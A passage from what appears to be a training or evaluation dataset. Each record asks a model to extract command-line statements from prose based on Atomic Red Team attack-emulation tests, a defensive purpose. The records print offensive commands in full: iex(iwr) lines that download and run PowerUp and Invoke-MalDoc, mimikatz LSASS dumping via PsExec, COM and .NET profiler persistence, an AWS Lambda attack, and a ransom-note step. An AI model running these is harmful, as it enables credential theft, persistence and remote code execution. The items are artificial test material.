-UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The file can be encrypted with openssl by executing this sequence of commands:\nwhich_openssl=`which openssl`\n$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}\n$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}\n$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}; For documenting the PureLocker ransomware IOC, you can generate a ransom note file by executing this command: echo T1486 - Purelocker Ransom Note > %USERPROFILE%\\Desktop\\YOUR_FILES.txt",
    "output": "{\"command_list\": [\"which_openssl=`which openssl`\\n$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}\\n$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}\\n$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}\\n\", \"echo T1486 - Purelocker Ransom Note > %USERPROFILE%\\\\Desktop\\\\YOUR_FILES.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following operations are performed by this Atomic: creating a service account, generating and storing a key, and then deleting it. Execute the entire process via these commands: \ngcloud config set project #{project_id}\nKEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format=\"value(KEY_ID)\" --limit=1`\ngcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet; To establish persistence via a .NET profiler, first create user scope environment variables and a CLSID COM object using the following command:\nWrite-Host \"Creating registry keys in HKCU:Software\\Classes\\CLSID\\#{clsid_guid}\" -ForegroundColor Cyan\nNew-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\\InprocServer32\" -Value \"#{file_name}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -PropertyType String -Value \"#{clsid_guid}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -PropertyType String -Value \"#{file_name}\" -Force | Out-Null\nWrite-Host \"executing eventvwr.msc\" -ForegroundColor Cyan\nSTART MMC.EXE EVENTVWR.MSC\n",
    "output": "{\"command_list\": [\"gcloud config set project #{project_id}\\nKEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format=\\\"value(KEY_ID)\\\" --limit=1`\\ngcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet\\n\", \"Write-Host \\\"Creating registry keys in HKCU:Software\\\\Classes\\\\CLSID\\\\#{clsid_guid}\\\" -ForegroundColor Cyan\\nNew-Item -Path \\\"HKCU:\\\\Software\\\\Classes\\\\CLSID\\\\#{clsid_guid}\\\\InprocServer32\\\" -Value \\\"#{file_name}\\\" -Force | Out-Null\\nNew-ItemProperty -Path HKCU:\\\\Environment -Name \\\"COR_ENABLE_PROFILING\\\" -PropertyType String -Value \\\"1\\\" -Force | Out-Null\\nNew-ItemProperty -Path HKCU:\\\\Environment -Name \\\"COR_PROFILER\\\" -PropertyType String -Value \\\"#{clsid_guid}\\\" -Force | Out-Null\\nNew-ItemProperty -Path HKCU:\\\\Environment -Name \\\"COR_PROFILER_PATH\\\" -PropertyType String -Value \\\"#{file_name}\\\" -Force | Out-Null\\nWrite-Host \\\"executing eventvwr.msc\\\" -ForegroundColor Cyan\\nSTART MMC.EXE EVENTVWR.MSC\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To modify an existing Lambda function for executing arbitrary code, use the following command: Import-Module \"PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1\" -Force\n$access_key = \"#{access_key}\"\n$secret_key = \"#{secret_key}\"\n$session_token = \"#{session_token}\"\n$aws_profile = \"#{profile}\"\n$region = \"#{region}\"\nSet-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region\nInvoke-Terraform -TerraformCommand init -TerraformDirectory \"PathToAtomicsFolder/T1648/src/T1648-1\"\nInvoke-Terraform -TerraformCommand apply -TerraformDirectory \"PathToAtomicsFolder/T1648/src/T1648-1\" -TerraformVariables @(\"profile=T1648-1\", \"region=$region\")\nInvoke-LambdaAttack -AWSProfile \"T1648-1\" -AWSRegion $region; This atomic test loads an XLL file via the Excel add-ins library, triggering Notepad.exe as a child process (without persistent execution like malware would), with the command:\n$excelApp = New-Object -COMObject \"Excel.Application\"\nif(-not $excelApp.path.contains(\"Program Files (x86)\")){\n    Write-Host \"64-bit Office\"\n    $excelApp.RegisterXLL(\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x64.xll\")\n}\nelse{\n  Write-Host \"32-bit Office\"\n  $excelApp.RegisterXLL(\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x86.xll\")\n}\n",
    "output": "{\"command_list\": [\"Import-Module \\\"PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1\\\" -Force\\n$access_key = \\\"#{access_key}\\\"\\n$secret_key = \\\"#{secret_key}\\\"\\n$session_token = \\\"#{session_token}\\\"\\n$aws_profile = \\\"#{profile}\\\"\\n$region = \\\"#{region}\\\"\\nSet-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region\\nInvoke-Terraform -TerraformCommand init -TerraformDirectory \\\"PathToAtomicsFolder/T1648/src/T1648-1\\\"\\nInvoke-Terraform -TerraformCommand apply -TerraformDirectory \\\"PathToAtomicsFolder/T1648/src/T1648-1\\\" -TerraformVariables @(\\\"profile=T1648-1\\\", \\\"region=$region\\\")\\nInvoke-LambdaAttack -AWSProfile \\\"T1648-1\\\" -AWSRegion $region\\n\", \"$excelApp = New-Object -COMObject \\\"Excel.Application\\\"\\nif(-not $excelApp.path.contains(\\\"Program Files (x86)\\\")){\\n    Write-Host \\\"64-bit Office\\\"\\n    $excelApp.RegisterXLL(\\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x64.xll\\\")\\n}\\nelse{\\n  Write-Host \\\"32-bit Office\\\"\\n  $excelApp.RegisterXLL(\\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x86.xll\\\")\\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To inject and execute shellcode in a new process, particularly designed for x86-64 Windows 10 machines, use this command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"#{txt_path}\" -officeProduct \"Word\" -sub \"Execute\"; For domain controllers in Active Directory environments, you can inject a new thread to dump LSASS content by executing this command: \"#{psexec_path}\" /accepteula \\\\#{machine} -c #{mimikatz_path} \"lsadump::lsa /inject /id:500\" \"exit\"",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"#{txt_path}\\\" -officeProduct \\\"Word\\\" -sub \\\"Execute\\\"\\n\", \"\\\"#{psexec_path}\\\" /accepteula \\\\\\\\#{machine} -c #{mimikatz_path} \\\"lsadump::lsa /inject /id:500\\\" \\\"exit\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When successfully executed, this test displays installed AV software via the command: wmic.exe /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List.; The installed antivirus products on a system can be discovered via PowerShell with the following commands: powershell Get-CimInstance -Namespace root/securityCenter2 -classname antivirusproduct\npowershell Get-WmiObject -Namespace root\\securitycenter2 -Class antivirusproduct\n",
    "output": "{\"command_list\": [\"wmic.exe /Namespace:\\\\\\\\root\\\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List\", \"powershell Get-CimInstance -Namespace root/securityCenter2 -classname antivirusproduct\\npowershell Get-WmiObject -Namespace root\\\\securitycenter2 -Class antivirusproduct\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When implementing this Portable Executable Injection test, run the command: Start-Process \"#{exe_binary}\"\nStart-Sleep -Seconds 7\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force. After a few seconds, look for a message box titled 'Warning' showing 'Atomic Red Team' as confirmation of success.; To stop a specific service, you can use the following command, which will display status information about the service: sc.exe stop #{service_name}",
    "output": "{\"command_list\": [\"Start-Process \\\"#{exe_binary}\\\"\\nStart-Sleep -Seconds 7\\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force\", \"sc.exe stop #{service_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
